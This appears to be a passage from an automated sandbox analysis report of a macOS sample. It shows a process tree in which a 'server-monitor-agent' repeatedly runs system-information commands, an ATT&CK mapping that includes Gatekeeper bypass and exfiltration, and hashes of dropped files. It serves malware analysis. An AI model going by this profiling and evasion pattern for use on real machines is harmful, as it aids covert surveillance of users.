      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.pbs
        6⤵
        
        PID:705
      - /System/Library/CoreServices/pbs
        
        /System/Library/CoreServices/pbs
        6⤵
        
        PID:705
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=75"
        6⤵
        
        PID:706
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ctkd
        6⤵
        
        PID:715
      - /System/Library/Frameworks/CryptoTokenKit.framework/ctkd
        
        /System/Library/Frameworks/CryptoTokenKit.framework/ctkd -tw
        6⤵
        
        PID:715
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ctkd
        6⤵
        
        PID:716
      - /System/Library/Frameworks/CryptoTokenKit.framework/ctkd
        
        /System/Library/Frameworks/CryptoTokenKit.framework/ctkd -s
        6⤵
        
        PID:716
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=75"
        6⤵
        
        PID:717
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=75"
        6⤵
        
        PID:718
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=75"
        6⤵
        
        PID:720
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=69"
        6⤵
        
        PID:721
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=69"
        6⤵
        
        PID:722
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=75"
        6⤵
        
        PID:723
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=130"
        6⤵
        
        PID:724
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=130"
        6⤵
        
        PID:725
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=123"
        6⤵
        
        PID:726
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.bird
        6⤵
        
        PID:732
      - /System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird
        
        /System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird
        6⤵
        
        PID:732
      - /usr/libexec/xpcproxy
        
        xpcproxy com.servermonitor.agent
        6⤵
        
        PID:748
      - /usr/local/bin/server-monitor-agent
        
        /usr/local/bin/server-monitor-agent
        6⤵
        
        PID:748
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:749
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:750
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:751
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:752
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:753
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:754
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:755
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:756
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:757
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:759
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:760
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:761
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:764
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:765
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:766
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:767
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:768
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:769
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:770
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:771
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:772
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:773
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:774
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:775
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:776
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:777
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:778
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:779
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:780
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:781
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:782
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:783
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:784
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:785
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:786
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:787
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:788
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:789
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:790
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:792
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:793
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:794
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:800
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:801
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:802
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:803
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:804
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:805
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:806
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:807
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:808
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:816
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:817
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:818
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:819
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:820
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:821
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:822
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:823
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:824
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:827
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:828
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:829
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:834
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:835
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:836
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:837
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:838
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:839
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:840
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:841
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:842
        
        /usr/bin/vm_stat
        
        vm_stat
        7⤵
        
        PID:843
        
        /usr/bin/sw_vers
        
        sw_vers -productVersion
        7⤵
        
        PID:844
        
        /usr/sbin/ioreg
        
        ioreg -rd1 -c IOPlatformExpertDevice
        7⤵
        
        PID:845
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.TextInputMenuAgent
        6⤵
        
        PID:762
      - /System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent
        
        /System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent
        6⤵
        
        PID:762
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.TextInputSwitcher
        6⤵
        
        PID:763
      - /System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher
        
        /System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher
        6⤵
        
        PID:763
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.sysmond
        6⤵
        
        PID:791
      - /usr/libexec/sysmond
        
        /usr/libexec/sysmond
        6⤵
        
        PID:791
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.replayd
        6⤵
        
        PID:795
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.system_installd
        6⤵
        
        PID:796
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.installd
        6⤵
        
        PID:797
      - /System/Library/PrivateFrameworks/PackageKit.framework/Resources/system_installd
        
        /System/Library/PrivateFrameworks/PackageKit.framework/Resources/system_installd
        6⤵
        
        PID:796
      - /System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd
        
        /System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd
        6⤵
        
        PID:797
      - /usr/libexec/replayd
        
        /usr/libexec/replayd
        6⤵
        
        PID:795
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.secinitd
        6⤵
        
        PID:799
      - /usr/libexec/secinitd
        
        /usr/libexec/secinitd
        6⤵
        
        PID:799
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ReportMemoryException
        6⤵
        
        PID:810
      - /usr/libexec/ReportMemoryException
        
        /usr/libexec/ReportMemoryException
        6⤵
        
        PID:810
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Safari.CacheDeleteExtension 530
        6⤵
        
        PID:815
      - /Applications/Safari.app/Contents/PlugIns/CacheDeleteExtension.appex/Contents/MacOS/CacheDeleteExtension
        
        /Applications/Safari.app/Contents/PlugIns/CacheDeleteExtension.appex/Contents/MacOS/CacheDeleteExtension
        6⤵
        
        PID:815
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.tccd
        6⤵
        
        PID:830
      - /System/Library/PrivateFrameworks/TCC.framework/Resources/tccd
        
        /System/Library/PrivateFrameworks/TCC.framework/Resources/tccd
        6⤵
        
        PID:830
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.sandboxd
        6⤵
        
        PID:831
      - /usr/libexec/sandboxd
        
        /usr/libexec/sandboxd
        6⤵
        
        PID:831
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.nsurlstoraged
        6⤵
        
        PID:832
      - /usr/libexec/nsurlstoraged
        
        /usr/libexec/nsurlstoraged
        6⤵
        
        PID:832
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.secd
        6⤵
        
        PID:833
      - /usr/libexec/secd
        
        /usr/libexec/secd
        6⤵
        
        PID:833

/usr/bin/defaults
defaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:603

/usr/bin/defaults
defaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" KSVersion
1⤵
PID:605

/usr/bin/defaults
defaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" KSProductID
1⤵
PID:607

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
ksadmin --ksadmin-version
1⤵
PID:610

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:613

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSBrandID
1⤵
PID:615

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:630

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSVersion
1⤵
PID:632

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSUpdateURL
1⤵
PID:634

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSChannelID
1⤵
PID:636

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CrProductDirName
1⤵
PID:638

/usr/bin/defaults
defaults read "/Library/Google/Google Chrome Brand" KSBrandID
1⤵
PID:642

/bin/ps
ps -ewwo "comm="
1⤵
PID:654

/usr/bin/cut
cut -c 1-108
1⤵
PID:655

/usr/bin/grep
grep -Fqx "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/"
1⤵
PID:656

/usr/sbin/lsof
lsof "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/Google Chrome Framework"
1⤵
PID:658

/usr/bin/uname
uname -s
1⤵
PID:710

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:711

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Launchctl

T1569.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hide Artifacts

T1564

Resource Forking

T1564.009

Indicator Removal

T1070

File Deletion

T1070.004

Subvert Trust Controls

T1553

Gatekeeper Bypass

T1553.001

Credential Access

Discovery

File and Directory Discovery

T1083

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Exfiltration Over Alternative Protocol

T1048

Exfiltration Over Unencrypted Non-C2 Protocol

T1048.003

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DiagnosticMessagesHistory.plist

Path /Library/Application Support/CrashReporter/DiagnosticMessagesHistory.plist
Size 676B
SHA256 1d816f9b8e973e57688445502cf98f0e99cc892cf7664466095a18c0645b4708
MD5 2e7ba2f564c7ade3c04511cd6432b1e5
SHA1 f83fb9abe394e05c568b8ca2327d85a2567c4d10
SHA512 ce138af98ddc0075282a5965f8eda1f0bbbc3a67b28089e29b37c7c7242c43290fb82f39d6a6b712cecdbaac6e80f7ca8588e0c87f01a8cad9dba2bbf195ced6
TLSH
T14401681B20D278E7CB6F75BD41730FCB04209B7F29D857ED83A27A102608F512557A31
MD5 SHA1 SHA512 TLSH

Submit Download

InstalledPrinters.plist

Path /Library/Printers/InstalledPrinters.plist
Size 495B
SHA256 aec405d7619e28da751fafd97782015affebdb36e863c58eea2b658551a59e7b
MD5 3439dcb6d4ce19d3ea022b8bb17cba7a
SHA1 e412c16548b6fcc5fd488315cd70b324ca4d782e
SHA512 8ca944a1a157f6933a5efeea35aa7626d0dd5f6fd4b5d9fe08c3760b39b6f54289e502923ca7616110c468173f0389f2ce1e35899d171bd08873678759aba93b
TLSH
T163F052C80A187EBE0DC802022AA7985D52AE82CD8C3100FBE1D35CCE7E09492A234958
MD5 SHA1 SHA512 TLSH

Submit Download

visual_model.tflite

Path /Users/run/Library/Application Support/Google/Chrome/ClientSidePhishing/29.0/visual_model.tflite
Size 3.0MB
SHA256 d38a4cda8912f9598b8701dac7d5ee90eff324ed1fb9d277b9784fe45a4e6c72
MD5 a9803d560544e4d1fe551b2c113c5370
SHA1 a998fdb1e80dbca61267db112812a7ee34b82dce
SHA512 65b8b6ecfea2aeae95a39581c39476a54721e07ee7c296650ccddea29a09b29a11cab15fdc89f97295bd61423dc13a66666faca371200bcb459dc1f25b6c89fd
SSDEEP 98304:0FkQ8+nTgV11233hz/v/U2P6tObWAOz+O2la+Ao:T+nMV112lU6b9O2rAo
TLSH
T1CEE502A5B811F1C2CA19C6729B56FF6F48317C265F05D027320DBB4D48B22EB8F4A6D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path /Users/run/Library/Application Support/Google/Chrome/Crashpad/settings.dat
Size 40B
SHA256 5cca682cfa80faa97838327d83ef5a2cc39e21b0cf16639aa7c4f095bf1be4e6
MD5 fcb4024c6dc53a5b72c492fd960762d7
SHA1 82c43024d9e274bf2b8a5d1e505d65cf3873fb92
SHA512 5373007f40ec378d18770218163ffc2870036bf8c0af1128194a60c6ed6d944f2e3833bf151fb5bf4aee9325c1fbab56bacf3f6437daaa59efb0afdc5c5eed8b
MD5 SHA1 SHA512

Submit Download

Unconfirmed 354769.crdownload

Path /Users/run/Library/Application Support/Google/Chrome/Default/Download Service/Files/Unconfirmed 354769.crdownload
Size 29KB
SHA256 91a80e93ff3294782fe304e37fa426880871783688f445f454b40475a7c004b1
MD5 f18878df3d6a37f4bad0d8b55dce311a
SHA1 5da19cd9be5fb7dd3e3ccc843603059cafe435d3
SHA512 773bf3de2b3662a1e93301dd0868c93cd9d8bbe5aa5af2b2d5093eee66b25538ad476d8b542be8e70693109284ddb52c578cc01277968a4a5512efbe6e498350
SSDEEP 768:0OXJvhizpyenF1glx9YRXsiwKNFAqyYgn8gAAl0Yf1QFWec+AX4Lrok:08Kz2lx+ebKNq7b8gAG0YfmF9cJX4Yk
TLSH
T1F2D2E1FF20155781AB903BE5EA1BD0E8CA43D4A064CFDD6A37C49BD9E2B3548131F691
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e93c95d7-b53a-423b-82b8-a2946b8c1095

Path /Users/run/Library/Application Support/Google/Chrome/Default/Download Service/Files/e93c95d7-b53a-423b-82b8-a2946b8c1095
Size 258KB
SHA256 8d21fe1bd251856bfaeaedd6a72ab78f153a047b6042e0fc614f57a32b56d340
MD5 5adf364735dcbe6bf26ebe3f705c9dbc
SHA1 a891521fea2f61a2fd16ea9f0a3fc3c2c5fb3a46
SHA512 5f77f8923ab3800ab754f4c60095077b529c5f5f230c6a0b6803dc28597f42ed682921267ed344e190d0f08e0a23eceace7bccbc9d22432029a3e6f4838420e0
SSDEEP 6144:771bE8xvMX08XghZNhvfhua/I4dMdYuw4/xCRxQkdE6oO:7p1xE3g3Nhvf39dMNxxyxGLO
TLSH
T12B4423A9480AFA919B0236F2BF61D07C234649142C9E2B9DDFE48F70E7FE715658F108
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path /Users/run/Library/Application Support/Google/Chrome/Default/Extension Scripts/CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path /Users/run/Library/Application Support/Google/Chrome/Default/Extension Scripts/MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

craw_background.js

Path /Users/run/Library/Application Support/Google/Chrome/Default/Extensions/nmmhkkegccagdldgiimedpiccmgmieda/1.0.0.6_1/craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.ldb

Path /Users/run/Library/Application Support/Google/Chrome/Default/Local Storage/leveldb/000003.ldb
Size 339B
SHA256 9cc80c0d1dfe7205c6530402c3240171966e72b6df8ef0e8571660fb18652cd5
MD5 61a867b6e4a24cfcfd32ddef25ac3229
SHA1 87cc4516fbce1700174d8ea27c9d2cb70a60a1fd
SHA512 3678cc5f913c7f6c179be8d8483240a1c9aabbe5b295d6aa2b8037c60a8f2aa473f1fb56a7ee7093aaa8c24b968d32fed99972f6f837868f86b53b45de13f4dc
TLSH
T115E0C2FB0A4984C1E9519BBB2524371D7B25CA2AD9448BE38E48E2528A284616609468
MD5 SHA1 SHA512 TLSH

Submit Download

000003.ldb

Path /Users/run/Library/Application Support/Google/Chrome/Default/Session Storage/000003.ldb
Size 569B
SHA256 b7600cfe0aa091e9ab8540869b7ea120a62b36240acc0370c3fd62655b58bf4e
MD5 b5db1f091948de93d7fc96e14aef6da3
SHA1 74745f991e3dfe45037366e55c2e6df47d8e6593
SHA512 d116ffaa01fa29545758fbe273c10d57879a91983d6b5a86ed410a0ac79cc8370fd2552284afa56f363a75ba6a89cc5c9a33f99071012dba2f2f8298ad0cac34
TLSH
T157F020631A2BD8A6C868A8325C94270C23A78F0D47B8865B6231CA301D668113A148AA
MD5 SHA1 SHA512 TLSH

Submit Download

000003.ldb

Path /Users/run/Library/Application Support/Google/Chrome/Default/Site Characteristics Database/000003.ldb
Size 269B
SHA256 241a349a63252a8026016a5ef0d713fc18f76735dd0c10963f9a693bfdb9b172
MD5 6487e04972ecffd0aabf7b61bdda8119
SHA1 26f0b11a2529a35f6970a914deadfcf2e2d23286
SHA512 44db500fa4549808a5ed1db5516fe4d412cc4e3898d102399fa6f467a2ed3fa79f133a0afcc5e1ab91f480267027ea11e48e37247d24513542286310ab2d47ae
TLSH
T150D0231426B7C48FE44951B165C35F64736CF459F5154783561865E44F3F0043D44174
MD5 SHA1 SHA512 TLSH

Submit Download

000003.ldb

Path /Users/run/Library/Application Support/Google/Chrome/Default/Storage/ext/gfdkimpbcpahaombhbimeihdjnejgicl/def/Session Storage/000003.ldb
Size 141B
SHA256 085c44dfa11e65ac3548c4d0fe1ae641570f90c7caaa2881c3990efcf555e6a8
MD5 38fc535a8f11d7e955ef58cc63158eff
SHA1 c45ad3ee106dbfb65dce7c09b53140f34454cd0e
SHA512 26e70000f77c1b6388dd470f9d7ec6bedc4fc3c43e48efcc853812eb076108bcdd9f50f7a89265e431d33df96e71755ca242dfd0aac16a51d99dea50a5a1e505
TLSH
T187C01210066B8863C417737106C417501310E8A40006471316C233600C740311F1045A
MD5 SHA1 SHA512 TLSH

Submit Download

000003.ldb

Path /Users/run/Library/Application Support/Google/Chrome/Default/Sync Data/LevelDB/000003.ldb
Size 136B
SHA256 935d36c021d0e08a5648c622f3f6fde376e3310013680ae598c0e22dc943d132
MD5 fe382e791274914bee5950777e4f1fd3
SHA1 53b523b5fc87e66f2520a0b5f9ea080072668f4d
SHA512 a5f608fb4f0a1dbc4c5d1b739b1a5b6f50cac1d6a61312b19abf9f601882a291d73524ac55bbe183e4e64db8dcc203d4bf3cedc734fd04bd448cb825d98d1e67
TLSH
T156C012480B948CC3C9009736082443141301C920F72CDB434381B2A10D740CF5E00085
MD5 SHA1 SHA512 TLSH

Submit Download

000003.ldb

